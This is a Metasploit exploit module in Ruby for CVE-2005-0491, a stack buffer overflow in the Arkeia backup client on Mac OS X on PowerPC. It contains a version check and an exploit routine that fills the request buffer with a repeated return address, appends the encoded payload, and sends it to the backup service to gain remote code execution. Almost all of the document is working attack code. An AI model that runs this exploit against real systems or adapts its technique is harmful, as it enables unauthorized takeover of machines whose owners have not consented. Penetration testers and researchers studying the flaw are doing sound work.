Arkeia Backup Client Type 77 Overflow (Mac OS X)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Arkeia

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Arkeia Backup Client Type 77 Overflow (Mac OS X)',
        'Description' => %q{
          This module exploits a stack buffer overflow in the Arkeia backup
          client for the Mac OS X platform. This vulnerability affects
          all versions up to and including 5.3.3 and has been tested
          with Arkeia 5.3.1 on Mac OS X 10.3.5.
        },
        'Author' => [ 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-0491'],
          [ 'OSVDB', '14011'],
          [ 'BID', '12594']
        ],
        'Privileged' => true,
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00",
          'MinNops' => 700,
          'Compat' =>
                      {
                        'ConnectionType' => '-find'
                      }
        },
        'Targets' => [
          [
            'Arkeia 5.3.1 Stack Return (boot)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC,
              'Ret' => 0xbffff910
            },
          ],
        ],
        'DisclosureDate' => '2005-02-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    info = arkeia_info
    if !(info and info['Version'])
      return Exploit::CheckCode::Safe('Could not retrieve Arkeia server version')
    end

    vprint_status('Arkeia Server Information:')
    info.each_pair do |k, v|
      vprint_status("   #{k + (' ' * (30 - k.length))} = #{v}")
    end

    if (info['System'] !~ /Darwin/)
      vprint_status('This module only supports Mac OS X targets')
      return Exploit::CheckCode::Detected("Arkeia detected on #{info['System']} but this module only supports Mac OS X")
    end

    if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/)
      return Exploit::CheckCode::Appears("Arkeia #{info['Version']} appears vulnerable")
    end

    return Exploit::CheckCode::Safe("Arkeia #{info['Version']} does not appear to be vulnerable")
  end

  def exploit
    connect

    # Request has to be big enough to find and small enough
    # not to write off the end of the stack. If we write too
    # far down, we also smash env[], which causes a crash in
    # getenv() before our function returns.

    head = "\x00\x4d\x00\x03\x00\x01\xff\xff"
    head[6, 2] = [1200].pack('n')

    buf = rand_text_english(1200, payload_badchars)

    # Return back to the stack either directly or via system lib
    buf[0, 112] = [target.ret].pack('N') * (112 / 4)

    # Huge nop slep followed by the payload
    buf[112, payload.encoded.length] = payload.encoded

    print_status('Sending request...')
    begin
      sock.put(head)
      sock.put(buf)
      sock.get_once
    rescue IOError, EOFError => e
      print_status("Exception: #{e.class}:#{e}")
    end
    handler
    disconnect
  end
end